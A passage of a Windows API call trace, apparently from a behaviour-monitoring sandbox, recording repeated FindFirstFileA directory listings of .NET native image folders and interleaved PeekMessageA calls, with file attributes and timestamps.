ftLastAccessTime.dwLowDateTime=0x5e436d90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5e436d90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.979] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio080b339b#\\b3200d022d5719267e55b4362dc991fa\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e436d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5e483050, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5e483050, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.981] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.982] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.983] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio1c9175f8#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e3ce7d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6e3ce7d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6e3ce7d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.014] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio1c9175f8#\\83d1d73517dad581da8d8ddf7522cc0d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e3ce7d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6e3ce7d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6e3ce7d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.018] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.021] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.021] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio1c968d57#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6edc63f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6edc63f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6edc63f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.022] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio1c968d57#\\e05290b5ff595f2340bd492053b0cb13\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6edc63f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6edec550, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6edec550, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.025] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.027] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.027] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio1da2af67#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dcaa5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6dcaa5d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6dcaa5d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.029] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio1da2af67#\\32e7f7b528d08ef27c0d480cc84fd53b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dcaa5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6dcaa5d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6dcaa5d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.031] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.033] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.034] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio49d6fefe#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6de4d4f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6de4d4f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6de4d4f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.034] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio49d6fefe#\\45f13d7c3d9964da9b26d7e1876104a2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6de4d4f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6de4d4f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6de4d4f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.048] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.051] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.052] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio4b37ff64#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6df31d30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6df31d30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6df31d30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.053] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio4b37ff64#\\2e507971860fa327fc91f74aac396544\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6df31d30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6df31d30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6df31d30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.056] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.059] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.059] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio53a7a42c#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e5e3b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6e5e3b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6e5e3b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.061] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio53a7a42c#\\f5ad4abc1924ed0134647d3c97e1de8b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e5e3b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6e609c70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6e609c70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.064] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.066] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.067] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio5ae0f00f#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d703190, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6d703190, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6d703190, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.075] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio5ae0f00f#\\987dc67a0a2eab5829ae6ea61e3ce29c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d703190, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6d74f450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6d74f450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.078] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.081] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.081] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio84a6349c#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d93e630, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6d93e630, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6d93e630, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.082] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio84a6349c#\\f1d5fd025baee3970ed1d112ed97510b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d93e630, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6d93e630, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6d93e630, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.085] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.088] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.088] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio84a7b877#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6db53970, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6db53970, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6db53970, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.090] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio84a7b877#\\14782aed3540074aa3b69290c16da539\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6db53970, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6db53970, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6db53970, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.093] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.096] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.097] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatiob3047ded#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f5f4f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6f5f4f90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6f5f4f90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.098] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatiob3047ded#\\7f14faa1d4ae2be6159e47a673761e71\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f5f4f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6f61b0f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6f61b0f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.101] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.103] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.104] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatiod51afaa5#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e8b7530, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6e8b7530, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6e8b7530, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.105] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatiod51afaa5#\\4bef01fc33b02182e1b6478f49e864b9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e8b7530, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6e8b7530, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6e8b7530, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.107] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.109] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.110] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\PresentationCore\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659004f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x659004f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x659004f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.111] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\PresentationCore\\b64ab85841ec82df0ec4d6bf7bdb770d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659004f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6594c7b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6594c7b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.112] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.115] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.116] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\PresentationUI\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fe49c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6fe49c90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6fe49c90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.117] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\PresentationUI\\9042d00708fcbda11c0d00463f473088\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fe49c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6fe49c90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6fe49c90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.117] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.121] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.122] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\ReachFramework\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77e3bb10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x77e3bb10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x77e3bb10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.123] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\ReachFramework\\217aa4f38f139b78fc89747f1a5b26f5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77e3bb10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x77e3bb10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x77e3bb10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.124] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.150] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.151] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\SMDiagnostics\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7da90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78f7da90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78f7da90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0115.508] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\SMDiagnostics\\781dd6049a9ffac1e6c29f61520010a8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7da90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78f7da90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78f7da90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0115.508] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.524] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0115.525] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\SMSvcHost\\*.*", lpFindFileData=0x18f8f8 | out: 